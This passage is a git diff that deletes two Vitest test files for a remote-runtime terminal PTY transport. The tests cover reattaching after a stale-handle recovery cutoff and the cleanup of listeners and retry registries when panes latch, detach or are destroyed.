diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-deadline-reattach.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-deadline-reattach.test.ts
deleted file mode 100644
index 8fa9e6c9d78..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-deadline-reattach.test.ts
+++ /dev/null
@@ -1,495 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  decodeTerminalStreamJson,
-  encodeTerminalStreamFrame,
-  encodeTerminalStreamJson,
-  encodeTerminalStreamText
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../../shared/runtime-session-contracts'
-import './recovery/remote-runtime-pty-recovery-state'
-import { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } from './recovery/remote-runtime-pty-recovery-limits'
-import { stubRuntimeEnvironmentBridge } from '../../../../runtime/rpc/testing/runtime-environment-bridge-fixture'
-
-describe('remote runtime pty reattach after the bounded recovery window', () => {
-  const runtimeCall = vi.fn()
-  const runtimeSubscribe = vi.fn()
-  const refreshSessionTabsSnapshot = vi.fn(async () => {})
-  const subscriptionSendBinary = vi.fn()
-  let subscriptionCallbacks: {
-    onResponse: (response: unknown) => void
-    onBinary?: (bytes: Uint8Array<ArrayBufferLike>) => void
-    onError?: (error: { code: string; message: string }) => void
-    onClose?: () => void
-  } | null = null
-  let hostListCalls = 0
-
-  function emitMultiplexReady(): void {
-    subscriptionCallbacks?.onResponse({ ok: true, result: { type: 'ready' } })
-  }
-
-  function latestSubscribePayload(): { streamId: number; terminal: string } {
-    const frame = subscriptionSendBinary.mock.calls
-      .map((call) => decodeTerminalStreamFrame(call[0]))
-      .findLast((candidate) => candidate?.opcode === TerminalStreamOpcode.Subscribe)
-    if (!frame) {
-      throw new Error('missing terminal subscribe frame')
-    }
-    const payload = decodeTerminalStreamJson<{ streamId: number; terminal: string }>(frame.payload)
-    if (!payload) {
-      throw new Error('invalid terminal subscribe payload')
-    }
-    return payload
-  }
-
-  function subscribedTerminalHandles(): string[] {
-    return subscriptionSendBinary.mock.calls
-      .map((call) => decodeTerminalStreamFrame(call[0]))
-      .flatMap((frame) => {
-        if (frame?.opcode !== TerminalStreamOpcode.Subscribe) {
-          return []
-        }
-        const payload = decodeTerminalStreamJson<{ terminal: string }>(frame.payload)
-        return payload ? [payload.terminal] : []
-      })
-  }
-
-  function emitSnapshot(streamId: number, data: string): void {
-    subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotStart,
-        streamId,
-        seq: 1,
-        payload: encodeTerminalStreamJson({ kind: 'scrollback' })
-      })
-    )
-    subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotChunk,
-        streamId,
-        seq: 2,
-        payload: encodeTerminalStreamText(data)
-      })
-    )
-    subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotEnd,
-        streamId,
-        seq: 3,
-        payload: new Uint8Array()
-      })
-    )
-  }
-
-  function hostSnapshot(
-    terminal: string,
-    snapshotVersion: number,
-    publicationEpoch: string
-  ): RuntimeMobileSessionTabsResult {
-    return {
-      worktree: 'wt-1',
-      publicationEpoch,
-      snapshotVersion,
-      activeGroupId: null,
-      activeTabId: 'tab-1::pane:1',
-      activeTabType: 'terminal' as const,
-      tabs: [
-        {
-          type: 'terminal' as const,
-          id: 'tab-1::pane:1',
-          parentTabId: 'tab-1',
-          leafId: 'pane:1',
-          title: 'Claude Code',
-          isActive: true,
-          status: 'ready',
-          terminal
-        }
-      ]
-    }
-  }
-
-  async function attachStalePane() {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const onPtyExit = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-tab-1',
-      leafId: 'pane:1',
-      onPtyExit,
-      onPtyRebind: vi.fn()
-    })
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-stale',
-      cols: 80,
-      rows: 24,
-      callbacks: { onError }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-
-    // The host keeps publishing the same live handle, so bounded replacement polling finds
-    // no replacement and stops quietly without retiring the pane.
-    runtimeCall.mockImplementation(async (args: { method: string }) => {
-      if (args.method !== 'session.tabs.list') {
-        return { ok: true, result: {} }
-      }
-      hostListCalls += 1
-      return { ok: true, result: hostSnapshot('terminal-stale', hostListCalls + 1, 'epoch-1') }
-    })
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'error',
-        streamId: latestSubscribePayload().streamId,
-        message: 'terminal_handle_stale'
-      }
-    })
-    return { transport, onError, onPtyExit }
-  }
-
-  beforeEach(() => {
-    vi.resetModules()
-    vi.doUnmock(
-      '../../../../runtime/hosted-terminals/streams/registry/remote-runtime-terminal-multiplexer-registry'
-    )
-    vi.doMock('@/runtime/web-session-tabs-sync/inventory/web-runtime-session-snapshot', () => ({
-      refreshWebRuntimeSessionTabsSnapshot: refreshSessionTabsSnapshot
-    }))
-    vi.clearAllMocks()
-    subscriptionCallbacks = null
-    hostListCalls = 0
-    subscriptionSendBinary.mockReset()
-    runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-      if (request.method === 'session.tabs.activate') {
-        return { ok: true, result: hostSnapshot('terminal-stale', 1, 'epoch-1') }
-      }
-      if (request.method === 'terminal.resolvePane') {
-        const params = request.params as { paneKey: string; worktreeId: string }
-        const separator = params.paneKey.indexOf(':')
-        return {
-          ok: true,
-          result: {
-            terminal: {
-              handle: 'terminal-stale',
-              tabId: params.paneKey.slice(0, separator),
-              leafId: params.paneKey.slice(separator + 1),
-              worktreeId: params.worktreeId
-            }
-          }
-        }
-      }
-      return { ok: true, result: { terminal: { handle: 'terminal-stale' } } }
-    })
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        subscriptionCallbacks = callbacks
-        queueMicrotask(emitMultiplexReady)
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    stubRuntimeEnvironmentBridge({ call: runtimeCall, subscribe: runtimeSubscribe })
-  })
-
-  it('reattaches from a rotated host handle published after the recovery cutoff', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport, onPtyExit } = await attachStalePane()
-      const handleEvents =
-        await import('../../../../runtime/web-session-tabs-sync/terminal-handles/web-session-terminal-handle-events')
-
-      await vi.advanceTimersByTimeAsync(16_000)
-      expect(handleEvents.getWebSessionTerminalHandleSubscriberCountForTests()).toBe(1)
-      expect(transport.getRecoveryState?.().phase).not.toBe('disconnected')
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      // The cutoff must not tear down the accepted-snapshot listener; it is the only path back.
-      expect(handleEvents.getWebSessionTerminalHandleSubscriberCountForTests()).toBe(1)
-
-      handleEvents.queueAcceptedWebSessionTerminalSnapshot(
-        hostSnapshot('terminal-after-timeout', 3, 'epoch-2'),
-        'env-1'
-      )
-      await vi.waitFor(() =>
-        expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-after-timeout' })
-      )
-
-      emitSnapshot(latestSubscribePayload().streamId, 'reattached')
-      expect(transport.isConnected()).toBe(true)
-      expect(transport.getPtyId()).toBe('remote:env-1@@terminal-after-timeout')
-      expect(onPtyExit).not.toHaveBeenCalled()
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('reattaches when the post-cutoff snapshot republishes the same live handle', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport, onError } = await attachStalePane()
-      const handleEvents =
-        await import('../../../../runtime/web-session-tabs-sync/terminal-handles/web-session-terminal-handle-events')
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      const listCallsAtCutoff = hostListCalls
-
-      handleEvents.queueAcceptedWebSessionTerminalSnapshot(
-        hostSnapshot('terminal-stale', 3, 'epoch-2'),
-        'env-1'
-      )
-      await vi.waitFor(() => expect(subscribedTerminalHandles()).toHaveLength(2))
-
-      expect(subscribedTerminalHandles()).toEqual(['terminal-stale', 'terminal-stale'])
-      // The snapshot is already-received host evidence; reattaching must cost no inventory RPC.
-      expect(hostListCalls).toBe(listCallsAtCutoff)
-      emitSnapshot(latestSubscribePayload().streamId, 'reattached')
-      expect(transport.isConnected()).toBe(true)
-      expect(onError).not.toHaveBeenCalled()
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('ignores a same-handle snapshot while automatic recovery is still running', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport } = await attachStalePane()
-      const handleEvents =
-        await import('../../../../runtime/web-session-tabs-sync/terminal-handles/web-session-terminal-handle-events')
-
-      await vi.advanceTimersByTimeAsync(16_000)
-      expect(transport.getRecoveryState?.().phase).not.toBe('disconnected')
-
-      handleEvents.queueAcceptedWebSessionTerminalSnapshot(
-        hostSnapshot('terminal-stale', 3, 'epoch-2'),
-        'env-1'
-      )
-      await vi.advanceTimersByTimeAsync(1_000)
-
-      expect(subscribedTerminalHandles()).toEqual(['terminal-stale'])
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('reattaches from a same-handle snapshot delivered inside the Reconnect window', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport, onError } = await attachStalePane()
-      const handleEvents =
-        await import('../../../../runtime/web-session-tabs-sync/terminal-handles/web-session-terminal-handle-events')
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      expect(handleEvents.getWebSessionTerminalHandleSubscriberCountForTests()).toBe(1)
-      const listCallsAtCutoff = hostListCalls
-
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.advanceTimersByTimeAsync(1_000)
-      expect(hostListCalls).toBeGreaterThan(listCallsAtCutoff)
-
-      // Reconnect must not disarm the only path back: the click opens a window, it does not spend one.
-      handleEvents.queueAcceptedWebSessionTerminalSnapshot(
-        hostSnapshot('terminal-stale', 4, 'epoch-3'),
-        'env-1'
-      )
-      await vi.waitFor(() => expect(subscribedTerminalHandles()).toHaveLength(2))
-
-      emitSnapshot(latestSubscribePayload().streamId, 'reattached')
-      expect(transport.isConnected()).toBe(true)
-      expect(onError).not.toHaveBeenCalled()
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('revives a latched require-replacement pane when online or system resume fires', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport, onError } = await attachStalePane()
-      const handleEvents =
-        await import('../../../../runtime/web-session-tabs-sync/terminal-handles/web-session-terminal-handle-events')
-      const { retryAllRemoteRuntimePtyRecoveriesNow } =
-        await import('./recovery/remote-runtime-pty-recovery-state')
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      const listCallsAtCutoff = hostListCalls
-
-      expect(retryAllRemoteRuntimePtyRecoveriesNow()).toBe(1)
-      await vi.advanceTimersByTimeAsync(1_000)
-      expect(hostListCalls).toBeGreaterThan(listCallsAtCutoff)
-
-      handleEvents.queueAcceptedWebSessionTerminalSnapshot(
-        hostSnapshot('terminal-stale', 4, 'epoch-3'),
-        'env-1'
-      )
-      await vi.waitFor(() => expect(subscribedTerminalHandles()).toHaveLength(2))
-
-      emitSnapshot(latestSubscribePayload().streamId, 'reattached')
-      expect(transport.isConnected()).toBe(true)
-      expect(onError).not.toHaveBeenCalled()
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('leaves Reconnect available when online fires on a pane latched during the attach wait', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const { retryAllRemoteRuntimePtyRecoveriesNow } =
-        await import('./recovery/remote-runtime-pty-recovery-state')
-      runtimeCall.mockImplementation(async (request: { method: string }) => {
-        if (request.method === 'session.tabs.activate') {
-          return {
-            ok: false,
-            error: {
-              code: 'remote_runtime_unavailable',
-              message: 'Remote Orca runtime connection closed'
-            }
-          }
-        }
-        return { ok: true, result: {} }
-      })
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-tab-1',
-        leafId: 'pane:1',
-        onPtyExit: vi.fn(),
-        onPtyRebind: vi.fn()
-      })
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-stale',
-        cols: 80,
-        rows: 24,
-        callbacks: { onError: vi.fn() }
-      })
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      const callsBeforeRetry = runtimeCall.mock.calls.length
-      // The attach wait is single-shot and the cutoff already settled it; replaying it would spin the banner with no RPC in flight.
-      expect(retryAllRemoteRuntimePtyRecoveriesNow()).toBe(0)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      expect(runtimeCall.mock.calls.length).toBe(callsBeforeRetry)
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  // #12683: a fatal resubscribe latches the banner via markDisconnected(), but that latch is not
-  // evidence the auto-recovery window ran out, so it must not license reattaching a fenced handle.
-  it('does not reattach a fenced same handle when only a UI latch closed the window', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const handleEvents =
-        await import('../../../../runtime/web-session-tabs-sync/terminal-handles/web-session-terminal-handle-events')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-tab-1',
-        leafId: 'pane:1',
-        onPtyExit: vi.fn(),
-        onPtyRebind: vi.fn()
-      })
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-stale',
-        cols: 80,
-        rows: 24,
-        callbacks: { onError: vi.fn() }
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      emitSnapshot(latestSubscribePayload().streamId, 'live before the drop')
-
-      // The host keeps publishing the same handle, so no replacement can ever arrive.
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method !== 'session.tabs.list') {
-          return { ok: true, result: {} }
-        }
-        hostListCalls += 1
-        return { ok: true, result: hostSnapshot('terminal-stale', hostListCalls + 1, 'epoch-1') }
-      })
-      // Fail one stale-handle resubscribe fatally; any later same-handle retry would succeed and expose invalid reuse.
-      runtimeSubscribe.mockImplementationOnce(async () => {
-        throw new Error('terminal_handle_stale')
-      })
-      subscriptionCallbacks?.onClose?.()
-      await vi.advanceTimersByTimeAsync(16_000)
-      expect(transport.getRecoveryState?.().phase).not.toBe('idle')
-
-      const subscribesBeforeRepublish = subscribedTerminalHandles().length
-      handleEvents.queueAcceptedWebSessionTerminalSnapshot(
-        hostSnapshot('terminal-stale', 9, 'epoch-2'),
-        'env-1'
-      )
-      await vi.advanceTimersByTimeAsync(1_000)
-
-      // The recovery deadline never fired, so the fenced handle stays fenced.
-      expect(subscribedTerminalHandles()).toHaveLength(subscribesBeforeRepublish)
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  // A second deadline during rebound subscribe must preserve online/resume revival (#9092).
-  it('parks a rebound subscribe whose stream open fails after its deadline', async () => {
-    vi.useFakeTimers()
-    try {
-      const { transport } = await attachStalePane()
-      const handleEvents =
-        await import('../../../../runtime/web-session-tabs-sync/terminal-handles/web-session-terminal-handle-events')
-      const { retryAllRemoteRuntimePtyRecoveriesNow } =
-        await import('./recovery/remote-runtime-pty-recovery-state')
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      // The stream open for the rebound handle hangs through the whole new recovery window.
-      const streamOpen: { reject: ((error: Error) => void) | null } = { reject: null }
-      runtimeSubscribe.mockImplementation(
-        () =>
-          new Promise((_resolve, reject) => {
-            streamOpen.reject = reject
-          })
-      )
-      handleEvents.queueAcceptedWebSessionTerminalSnapshot(
-        hostSnapshot('terminal-rotated', 3, 'epoch-2'),
-        'env-1'
-      )
-      await vi.waitFor(() => expect(streamOpen.reject).not.toBeNull())
-      expect(transport.getRecoveryState?.().phase).toBe('recovering')
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 1)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      streamOpen.reject?.(new Error('Could not connect to the remote Orca runtime.'))
-      await vi.advanceTimersByTimeAsync(0)
-
-      expect(retryAllRemoteRuntimePtyRecoveriesNow()).toBe(1)
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-latched-pane-retention.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-latched-pane-retention.test.ts
deleted file mode 100644
index fb3e0d66700..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-latched-pane-retention.test.ts
+++ /dev/null
@@ -1,367 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  decodeTerminalStreamJson
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../../shared/runtime-session-contracts'
-import './recovery/remote-runtime-pty-recovery-state'
-import { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } from './recovery/remote-runtime-pty-recovery-limits'
-import { stubRuntimeEnvironmentBridge } from '../../../../runtime/rpc/testing/runtime-environment-bridge-fixture'
-
-// Latched panes intentionally retain only retry-registry and accepted-snapshot entries; destroy must release both.
-describe('remote runtime pty latched-pane retention', () => {
-  const runtimeCall = vi.fn()
-  const runtimeSubscribe = vi.fn()
-  const refreshSessionTabsSnapshot = vi.fn(async () => {})
-  const subscriptionSendBinary = vi.fn()
-  let subscriptionCallbacks: {
-    onResponse: (response: unknown) => void
-    onBinary?: (bytes: Uint8Array<ArrayBufferLike>) => void
-    onError?: (error: { code: string; message: string }) => void
-    onClose?: () => void
-  } | null = null
-  let hostListCalls = 0
-
-  function emitMultiplexReady(): void {
-    subscriptionCallbacks?.onResponse({ ok: true, result: { type: 'ready' } })
-  }
-
-  function latestSubscribePayload(): { streamId: number; terminal: string } {
-    const frame = subscriptionSendBinary.mock.calls
-      .map((call) => decodeTerminalStreamFrame(call[0]))
-      .findLast((candidate) => candidate?.opcode === TerminalStreamOpcode.Subscribe)
-    if (!frame) {
-      throw new Error('missing terminal subscribe frame')
-    }
-    const payload = decodeTerminalStreamJson<{ streamId: number; terminal: string }>(frame.payload)
-    if (!payload) {
-      throw new Error('invalid terminal subscribe payload')
-    }
-    return payload
-  }
-
-  function subscribeFrameCount(): number {
-    return subscriptionSendBinary.mock.calls
-      .map((call) => decodeTerminalStreamFrame(call[0]))
-      .filter((frame) => frame?.opcode === TerminalStreamOpcode.Subscribe).length
-  }
-
-  // Give each pane a distinct host surface so it cannot reuse another’s live stream instead of entering recovery.
-  const paneIdentity = (pane: number) => ({
-    hostTabId: `tab-${pane}`,
-    tabId: `web-terminal-tab-${pane}`,
-    leafId: `pane:${pane}`,
-    handle: `terminal-stale-${pane}`
-  })
-
-  const PANE_COUNT = 24
-
-  // Publish all pane surfaces in one response like real per-workspace inventory.
-  function hostSnapshot(
-    snapshotVersion: number,
-    publicationEpoch: string
-  ): RuntimeMobileSessionTabsResult {
-    return {
-      worktree: 'wt-1',
-      publicationEpoch,
-      snapshotVersion,
-      activeGroupId: null,
-      activeTabId: `${paneIdentity(0).hostTabId}::${paneIdentity(0).leafId}`,
-      activeTabType: 'terminal' as const,
-      tabs: Array.from({ length: PANE_COUNT }, (_unused, pane) => {
-        const identity = paneIdentity(pane)
-        return {
-          type: 'terminal' as const,
-          id: `${identity.hostTabId}::${identity.leafId}`,
-          parentTabId: identity.hostTabId,
-          leafId: identity.leafId,
-          title: 'Claude Code',
-          isActive: pane === 0,
-          status: 'ready' as const,
-          terminal: identity.handle
-        }
-      })
-    }
-  }
-
-  async function attachStalePane(pane: number) {
-    const identity = paneIdentity(pane)
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: identity.tabId,
-      leafId: identity.leafId,
-      onPtyExit: vi.fn(),
-      onPtyRebind: vi.fn()
-    })
-    const subscribesBefore = subscribeFrameCount()
-    transport.attach({
-      existingPtyId: `remote:env-1@@${identity.handle}`,
-      cols: 80,
-      rows: 24,
-      callbacks: { onError: vi.fn() }
-    })
-    await vi.waitFor(() => expect(subscribeFrameCount()).toBeGreaterThan(subscribesBefore))
-
-    // Keep the ended handle published so bounded replacement polling expires into the revivable latch.
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: {
-        type: 'error',
-        streamId: latestSubscribePayload().streamId,
-        message: 'terminal_handle_stale'
-      }
-    })
-    return transport
-  }
-
-  async function registries() {
-    const handleEvents =
-      await import('../../../../runtime/web-session-tabs-sync/terminal-handles/web-session-terminal-handle-events')
-    const recoveryState = await import('./recovery/remote-runtime-pty-recovery-state')
-    return {
-      subscribers: handleEvents.getWebSessionTerminalHandleSubscriberCountForTests(),
-      scheduled: recoveryState.getScheduledRemoteRuntimePtyRecoveryCountForTests()
-    }
-  }
-
-  beforeEach(() => {
-    vi.resetModules()
-    vi.doUnmock(
-      '../../../../runtime/hosted-terminals/streams/registry/remote-runtime-terminal-multiplexer-registry'
-    )
-    vi.doMock('@/runtime/web-session-tabs-sync/inventory/web-runtime-session-snapshot', () => ({
-      refreshWebRuntimeSessionTabsSnapshot: refreshSessionTabsSnapshot
-    }))
-    vi.clearAllMocks()
-    subscriptionCallbacks = null
-    hostListCalls = 0
-    subscriptionSendBinary.mockReset()
-    runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-      if (request.method === 'session.tabs.list') {
-        hostListCalls += 1
-        return { ok: true, result: hostSnapshot(hostListCalls + 1, 'epoch-1') }
-      }
-      if (request.method === 'session.tabs.activate') {
-        return { ok: true, result: hostSnapshot(1, 'epoch-1') }
-      }
-      if (request.method === 'terminal.resolvePane') {
-        const params = request.params as { paneKey: string; worktreeId: string }
-        const separator = params.paneKey.indexOf(':')
-        const paneTabId = params.paneKey.slice(0, separator)
-        const pane = Number(paneTabId.slice(paneTabId.lastIndexOf('-') + 1))
-        return {
-          ok: true,
-          result: {
-            terminal: {
-              handle: paneIdentity(pane).handle,
-              tabId: paneTabId,
-              leafId: params.paneKey.slice(separator + 1),
-              worktreeId: params.worktreeId
-            }
-          }
-        }
-      }
-      return { ok: true, result: {} }
-    })
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        subscriptionCallbacks = callbacks
-        queueMicrotask(emitMultiplexReady)
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    stubRuntimeEnvironmentBridge({ call: runtimeCall, subscribe: runtimeSubscribe })
-  })
-
-  it('returns listener and retry-registry counts to baseline across destroy cycles', async () => {
-    vi.useFakeTimers()
-    try {
-      expect(await registries()).toEqual({ subscribers: 0, scheduled: 0 })
-      const latched: { subscribers: number; scheduled: number }[] = []
-      const settled: { subscribers: number; scheduled: number }[] = []
-
-      for (let cycle = 0; cycle < 20; cycle += 1) {
-        const transport = await attachStalePane(cycle)
-        await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-        expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-        latched.push(await registries())
-        transport.destroy?.()
-        await vi.advanceTimersByTimeAsync(1_000)
-        settled.push(await registries())
-      }
-
-      // A latched pane deliberately holds exactly one listener and one registry entry...
-      expect(latched).toEqual(Array.from({ length: 20 }, () => ({ subscribers: 1, scheduled: 1 })))
-      // ...and destroy releases both, so twenty cycles do not accumulate anything.
-      expect(settled).toEqual(Array.from({ length: 20 }, () => ({ subscribers: 0, scheduled: 0 })))
-      expect(vi.getTimerCount()).toBe(0)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('returns to baseline when a latched pane is detached rather than destroyed', async () => {
-    vi.useFakeTimers()
-    try {
-      const settled: { subscribers: number; scheduled: number }[] = []
-      for (let cycle = 0; cycle < 20; cycle += 1) {
-        const transport = await attachStalePane(cycle)
-        await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-        expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-        transport.detach?.()
-        await vi.advanceTimersByTimeAsync(1_000)
-        settled.push(await registries())
-      }
-      expect(settled).toEqual(Array.from({ length: 20 }, () => ({ subscribers: 0, scheduled: 0 })))
-      expect(vi.getTimerCount()).toBe(0)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('holds one listener and one registry entry per concurrently latched pane', async () => {
-    vi.useFakeTimers()
-    try {
-      const transports: Awaited<ReturnType<typeof attachStalePane>>[] = []
-      for (let pane = 0; pane < 8; pane += 1) {
-        transports.push(await attachStalePane(pane))
-        await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-      }
-      // Retention is per live pane, not per timeout: eight latched panes hold eight of each.
-      expect(await registries()).toEqual({ subscribers: 8, scheduled: 8 })
-
-      for (const transport of transports) {
-        transport.destroy?.()
-      }
-      await vi.advanceTimersByTimeAsync(1_000)
-      expect(await registries()).toEqual({ subscribers: 0, scheduled: 0 })
-      expect(vi.getTimerCount()).toBe(0)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('leaves a latched pane fully quiescent — no timers, no RPCs, no growth', async () => {
-    vi.useFakeTimers()
-    try {
-      const transport = await attachStalePane(0)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      const baseline = await registries()
-      const callsAtLatch = runtimeCall.mock.calls.length
-      const timersAtLatch = vi.getTimerCount()
-      // Spent windows retain only one listener/registry entry, with no autonomous retry work.
-      expect(timersAtLatch).toBe(0)
-
-      await vi.advanceTimersByTimeAsync(10 * 60_000)
-
-      expect(runtimeCall.mock.calls.length).toBe(callsAtLatch)
-      expect(vi.getTimerCount()).toBe(0)
-      expect(await registries()).toEqual(baseline)
-
-      transport.destroy?.()
-      await vi.advanceTimersByTimeAsync(1_000)
-      expect(await registries()).toEqual({ subscribers: 0, scheduled: 0 })
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('does not stack listeners, registry entries or timers across repeated revive cycles', async () => {
-    vi.useFakeTimers()
-    try {
-      const { retryAllRemoteRuntimePtyRecoveriesNow } =
-        await import('./recovery/remote-runtime-pty-recovery-state')
-      const transport = await attachStalePane(0)
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      const baseline = await registries()
-      const timersAtFirstLatch = vi.getTimerCount()
-      const subscribesAtFirstLatch = subscribeFrameCount()
-      const observed: {
-        subscribers: number
-        scheduled: number
-        timers: number
-        revived: number
-      }[] = []
-
-      for (let cycle = 0; cycle < 25; cycle += 1) {
-        const revived = retryAllRemoteRuntimePtyRecoveriesNow()
-        // External-trigger storms cannot stack fresh epochs inside one active recovery window.
-        expect(retryAllRemoteRuntimePtyRecoveriesNow()).toBe(0)
-        await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS + 6_000)
-        expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-        observed.push({ ...(await registries()), timers: vi.getTimerCount(), revived })
-      }
-
-      expect(observed).toEqual(
-        Array.from({ length: 25 }, () => ({
-          subscribers: baseline.subscribers,
-          scheduled: baseline.scheduled,
-          timers: timersAtFirstLatch,
-          revived: 1
-        }))
-      )
